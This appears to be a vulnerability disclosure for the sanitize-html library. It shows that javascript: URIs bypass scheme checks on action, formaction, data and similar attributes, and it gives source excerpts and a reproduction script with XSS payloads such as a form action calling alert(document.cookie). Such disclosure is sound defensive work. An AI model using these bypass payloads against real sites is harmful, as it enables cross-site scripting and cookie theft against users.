sanitize-html has incomplete URI scheme validation in that allows javascript: URIs through action, formaction, data, poster, and background attributes
Summary
sanitize-html uses allowedSchemesAppliedToAttributes (default: ['href', 'src', 'cite']) to gate the naughtyHref() function that blocks dangerous URI schemes like javascript: and vbscript:. The HTML specification defines 10+ attributes that accept URIs (action, formaction, data, poster, background, ping, xlink:href, dynsrc, lowsrc), but none of these are included in the default gate list. When a developer allows any of these attributes in their configuration, javascript: URIs pass through completely unmodified, enabling XSS.
The library has zero awareness of these URI-bearing attributes — none appear anywhere in the 854-line source file (verified by grep). No warning mechanism exists, and the README provides no security guidance about expanding allowedSchemesAppliedToAttributes when allowing form or media attributes.
Severity
Exploitation requires non-default configuration: the developer must explicitly allow a non-default tag (e.g., form) AND a non-default attribute (e.g., action). Default configuration is NOT vulnerable. However, this is a common configuration pattern for CMS platforms, form builders, and rich content editors.
Affected Versions
All versions of sanitize-html from v1.18.0 (which introduced allowedSchemesAppliedToAttributes) through at least v2.17.2. The default list has been ['href', 'src', 'cite'] since introduction and has never been expanded.
Root Cause
File: index.js:329 (sanitize-html 2.10.0, confirmed same in 2.17.x)
```javascript
// Line 329 — The gate that controls scheme validation
if (options.allowedSchemesAppliedToAttributes.indexOf(a) >= 0) {
if (naughtyHref(name, value)) {
delete frame.attribs[a];
return;
}
}
```
Default list at line 829:
```javascript
allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],
```
The naughtyHref() function (lines 627-667) correctly blocks javascript:, vbscript:, and other dangerous schemes. However, it has exactly 2 call sites in the entire codebase (lines 330 and 395), both inside the indexOf gate. There is no ungated path.
When attribute name is action, formaction, data, poster, background, etc.:
indexOf('action') returns -1- The
if block is skipped entirely naughtyHref() is never calledjavascript:alert(1) passes through unmodified
The escapeHtml() function at line 464 provides no defense — it only encodes & < > " characters, which are not present in javascript:alert(1).
Data Flow:
```
Attacker input: <form action="javascript:alert(document.cookie)">
1. htmlparser2 parses → tag='form', attribs={action:'javascript:alert(document.cookie)'}
2. index.js:298 → allowedAttributes check: 'action' in developer config → PASS
3. index.js:329 → ['href','src','cite'].indexOf('action') → -1 → SKIP naughtyHref()
4. index.js:464 → escapeHtml('javascript:alert(document.cookie)') → unchanged
5. OUTPUT: <form action="javascript:alert(document.cookie)">
```
Steps to Reproduce
```javascript
const sanitize = require('sanitize-html');
// ===== VECTOR 1: form action (100% reliable, all modern browsers) =====
const v1 = sanitize(
'<form action="javascript:alert(document.cookie)"><button>Submit</button></form>',
{
allowedTags: ['form', 'button'],
allowedAttributes: { form: ['action'] }
}
);
console.log('V1 (action):', v1);
// OUTPUT: <form action="javascript:alert(document.cookie)"><button>Submit</button></form>
// XSS triggers when user submits the form
// ===== VECTOR 2: button formaction (100% reliable) =====
const v2 = sanitize(
'<button formaction="javascript:alert(1)">Click</button>',
{
allowedTags: ['button'],
allowedAttributes: { button: ['formaction'] }
}
);
console.log('V2 (formaction):', v2);
// OUTPUT: <button formaction="javascript:alert(1)">Click</button>
// ===== VECTOR 3: object data =====
const v3 = sanitize(
'<object data="javascript:alert(1)"></object>',
{
allowedTags: ['object'],
allowedAttributes: { object: ['data'] }
}
);
console.log('V3 (data):', v3);
// OUTPUT: <object data="javascript:alert(1)"></object>
// ===== CONTROL: href IS scheme-checked (expected behavior) =====
const ctrl = sanitize(
'<a href="javascript:alert(1)">click</a>',
{
allowedTags: ['a'],
allowedAttributes: { a: ['href'] }
}
);
console.log('Control (href):', ctrl);
// OUTPUT: <a>click</a> ← href correctly stripped by naughtyHref()
```
Observed behavior: javascript: preserved on action/formaction/data but correctly stripped on href.
Expected behavior: javascript: should be stripped on ALL URI-bearing attributes, or at minimum, the library should warn developers when they allow URI-bearing attributes not covered by scheme validation.
